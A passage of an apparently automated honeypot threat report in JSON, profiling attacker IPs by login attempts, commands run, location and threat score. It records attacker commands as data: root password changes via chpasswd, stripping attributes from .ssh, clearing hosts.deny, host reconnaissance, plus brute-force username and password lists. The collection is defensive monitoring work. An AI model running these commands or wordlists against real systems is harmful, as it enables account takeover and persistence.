        "ec2-user",
        "ftpusers",
        "git_user",
        "test1",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "p@ssw0rd",
        "#EDC4rfv",
        "11",
        "123321",
        "1q2w3",
        "1q2w3e4r5t",
        "654321",
        "666999",
        "741852963",
        "P4$$w0rd",
        "Password123",
        "User123",
        "aaa12345",
        "admin#0",
        "admin123456.",
        "adminserver2023",
        "ali22",
        "allah123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ansadmin@123\\nCOlGZDDmCfAh\\nCOlGZDDmCfAh\\n\"|passwd",
        "echo \"root:EgnPMwkeF6qk\"|chpasswd|bash",
        "echo -e \"ansadmin@123\\nCOlGZDDmCfAh\\nCOlGZDDmCfAh\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 508,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:06:37.510000+00:00",
        "last_seen_30d": "2026-05-19T22:38:05.076000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 387,
        "Suricata": 121
      }
    },
    "116.110.12.3": {
      "attack_count": 362,
      "first_seen": "2026-05-22T00:47:47.166Z",
      "last_seen": "2026-05-22T01:15:54.060Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "*****",
        "123456",
        "ashish",
        "auto",
        "brenda",
        "btf",
        "cisco",
        "config",
        "db2inst2",
        "developer",
        "ftp",
        "george",
        "geral",
        "guest",
        "help",
        "jay"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "password",
        "*****",
        "039715582364317",
        "0987654321",
        "1",
        "112233",
        "123456",
        "1234567890%*()",
        "321start",
        "@",
        "abc123",
        "admin123",
        "admin@123",
        "administrator",
        "alpine",
        "andrew",
        "ashish"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 552,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:47:47.166000+00:00",
        "last_seen_30d": "2026-05-22T01:17:00.496000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 190
      }
    },
    "154.209.4.195": {
      "attack_count": 362,
      "first_seen": "2026-05-09T16:47:49.482Z",
      "last_seen": "2026-05-30T06:23:53.810Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "ec2-user",
        "sshuser",
        "admins",
        "apolo",
        "dev",
        "devops",
        "foundry",
        "gits",
        "hadoop",
        "hadoop2",
        "hb",
        "jenkins",
        "kafka",
        "mysql",
        "odoo12",
        "postgres"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "123qwe!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "1029384756",
        "1234560",
        "12345678",
        "1qazxsw2",
        "ABCabc123",
        "Admin@123",
        "Jenkins@123",
        "P@ssword123!",
        "Qwer1234",
        "Qwerty12345678",
        "Yr123456",
        "a",
        "abc@1234",
        "admin",
        "admin!@#$1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nNh2WzoWjxIoA\\nNh2WzoWjxIoA\\n\"|passwd",
        "echo \"root:jcwyRzYOmAVk\"|chpasswd|bash",
        "echo -e \"123\\nNh2WzoWjxIoA\\nNh2WzoWjxIoA\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 55.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 477,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:47:49.482000+00:00",
        "last_seen_30d": "2026-05-30T06:25:00.519000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 115
      }
    },
    "119.199.188.80": {
      "attack_count": 309,
      "first_seen": "2026-05-13T22:07:26.830Z",
      "last_seen": "2026-05-13T22:50:58.726Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567q",
        "1234@qwe",
        "321",
        "3bb",
        "Abcd1234",
        "Pa$$w0rd2017",
        "Root@1111",
        "Testuser1",
        "abcd1234",
        "beavis",
        "manchester",
        "max!123",
        "postgres1234",
        "proman",
        "rails123",
        "rui123",
        "ryan",
        "sftpdi"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:QkVldHdvrfFt\"|chpasswd|bash",
        "echo \"root:eO3ybdZh6ros\"|chpasswd|bash",
        "echo \"root:mdYjm5MW8hSE\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T22:07:26.830000+00:00",
        "last_seen_30d": "2026-05-13T22:52:06.788000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 62
      }
    },
    "43.135.183.130": {
      "attack_count": 289,
      "first_seen": "2026-05-19T14:14:02.441Z",
      "last_seen": "2026-05-19T14:36:48.426Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678a",
        "19071907",
        "1qasw2",
        "28011980",
        "boss",
        "claude",
        "csp",
        "dina123",
        "ftpuser2",
        "ghani",
        "huang",
        "mailadmin",
        "moon123",
        "sniper!@#$sniper",
        "tango12",
        "www.163.com",
        "yq@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:WdQHvdGyIrEw\"|chpasswd|bash",
        "echo \"root:baWaMc6Z8K0v\"|chpasswd|bash",
        "echo \"root:gI5QQoJKwfRi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:14:02.441000+00:00",
        "last_seen_30d": "2026-05-19T14:37:58.137000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 289,
        "Suricata": 51
      }
    },
    "107.175.156.152": {
      "attack_count": 247,
      "first_seen": "2026-05-26T19:15:02.655Z",
      "last_seen": "2026-05-31T21:58:28.023Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "admin",
        "cgpexpert",
        "david",
        "deploy",
        "koha",
        "mysql",
        "pq",
        "rdpuser",
        "systemd",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "!23456Qwerty",
        "123",
        "12345",
        "1q2w3e4r5t6y",
        "Master123",
        "Voidsetdownload.so",
        "Yc@123456",
        "deploy1",
        "fjbdfdjkdsfs541544AA@@",
        "hotmail",
        "koha123",
        "mt2013@HW",
        "mysql@1234",
        "pq",
        "qwerasdf",
        "rdpuser",
        "test2026"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:hj2wVCVnTo9h\"|chpasswd|bash",
        "echo \"test2026\\nwN7lD22vWpyI\\nwN7lD22vWpyI\\n\"|passwd",
        "echo -e \"test2026\\nwN7lD22vWpyI\\nwN7lD22vWpyI\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:15:02.655000+00:00",
        "last_seen_30d": "2026-05-31T21:59:35.219000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 57
      }
    },
    "41.111.178.165": {
      "attack_count": 241,
      "first_seen": "2026-05-21T01:05:51.966Z",
      "last_seen": "2026-05-21T01:31:56.192Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1201",
        "123123..",
        "123root123",
        "@#qwe123",
        "Login123!",
        "QAZwsx123",
        "Test1111",
        "Zxc123456789",
        "aaaa1111",
        "abc123**",
        "admin.2024",
        "admin100",
        "bot",
        "emiliano",
        "jose123",
        "ll",
        "passWord",
        "q123456!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:CKb2sxpWQ8VH\"|chpasswd|bash",
        "echo \"root:IcawMLANasXc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Algiers",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:05:51.966000+00:00",
        "last_seen_30d": "2026-05-21T01:32:58.949000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 55
      }
    },
    "161.49.89.39": {
      "attack_count": 218,
      "first_seen": "2026-05-10T08:35:44.433Z",
      "last_seen": "2026-05-10T09:15:59.575Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "ftpuser",
        "server",
        "sftpuser",
        "test"
      ],
      "passwords_attempted": [
        "123456aa",
        "1234@QWER",
        "1234Password",
        "13112002",
        "159357qaz",
        "1988",
        "258369147",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin#2026",
        "Admin12#$",
        "Nova@2025",
        "Pa$$w0rd",
        "Qq147258",
        "Xq123456@",
        "Yi123456",
        "Yz.123456",
        "Zxc@1234",
        "a",
        "admin!@#$%"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:XK8D70jWJjVj\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Pasig",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:35:44.433000+00:00",
        "last_seen_30d": "2026-05-10T09:17:08.224000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "189.113.47.155": {
      "attack_count": 218,
      "first_seen": "2026-05-05T02:40:05.779Z",
      "last_seen": "2026-05-05T03:13:58.860Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "administrator",
        "esuser",
        "ftpuser",
        "postgres",
        "ubuntu"
      ],
      "passwords_attempted": [
        "00",
        "123258",
        "1234567",
        "123@Test",
        "1a2b3c!@#",
        "321",
        "3245gs5662d34",
        "345gs5662d34",
        "A11223344",
        "A@123456789",
        "Abcd2025",
        "Avatar",
        "Bo@123456",
        "Ky123456.",
        "P@ssw0rd2024~",
        "Passw0rdPassw0rd",
        "Qwerty01",
        "Redhat#123",
        "Server2025!",
        "Sp123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:obQ4savNV1Ze\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 262875,
      "as_org": "IP AMERICA TELECOM LTDA",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:40:05.779000+00:00",
        "last_seen_30d": "2026-05-05T03:15:03.930000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "206.0.170.232": {
      "attack_count": 174,
      "first_seen": "2026-05-19T06:57:38.823Z",
      "last_seen": "2026-05-19T18:01:09.121Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:57:38.823000+00:00",
        "last_seen_30d": "2026-05-19T18:02:14.923000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 87
      }
    },
    "154.16.180.24": {
      "attack_count": 144,
      "first_seen": "2026-05-11T04:25:15.512Z",
      "last_seen": "2026-05-31T19:33:41.426Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dulles",
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 51.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.3,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:25:15.512000+00:00",
        "last_seen_30d": "2026-05-31T19:34:51.100000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 74
      }
    },
    "50.7.127.99": {
      "attack_count": 132,
      "first_seen": "2026-05-03T17:55:08.673Z",
      "last_seen": "2026-05-31T00:29:13.374Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Halfweg",
      "asn": 30058,
      "as_org": "FDCservers.net",
      "threat_score": 58.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:55:08.673000+00:00",
        "last_seen_30d": "2026-05-31T00:30:22.119000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "89.163.145.38": {
      "attack_count": 132,
      "first_seen": "2026-05-08T01:51:08.241Z",
      "last_seen": "2026-05-31T20:24:00.318Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "D\u00fcsseldorf",
      "asn": 24961,
      "as_org": "WIIT AG",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:51:08.241000+00:00",
        "last_seen_30d": "2026-05-31T20:25:09.847000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "65.60.61.173": {
      "attack_count": 120,
      "first_seen": "2026-05-05T01:27:49.858Z",
      "last_seen": "2026-05-31T08:01:11.564Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 56.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:27:49.858000+00:00",
        "last_seen_30d": "2026-05-31T08:02:20.316000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "37.143.61.234": {
      "attack_count": 113,
      "first_seen": "2026-05-27T00:34:10.333Z",
      "last_seen": "2026-05-27T01:00:25.757Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aj",
        "systemd",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1221",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112233.",
        "Abcd1234.",
        "Voidsetdownload.so",
        "a123456789.",
        "abcd1234",
        "abcd@1234",
        "fjbdfdjkdsfs541544AA@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
